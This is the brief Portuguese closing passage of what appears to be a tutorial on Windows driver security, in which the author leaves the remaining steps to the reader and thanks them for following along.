Acho que não preciso, nesse ponto, estar explicando mais nada. Se você entendeu tudo até aqui, tem capacidade de completar todo o restante sozinho.

Muito obrigado se você chegou até aqui. Espero que esse conteúdo tenha sido útil de alguma forma para seu aprendizado sobre segurança de drivers no Windows. Tchau tchau!&#x20;
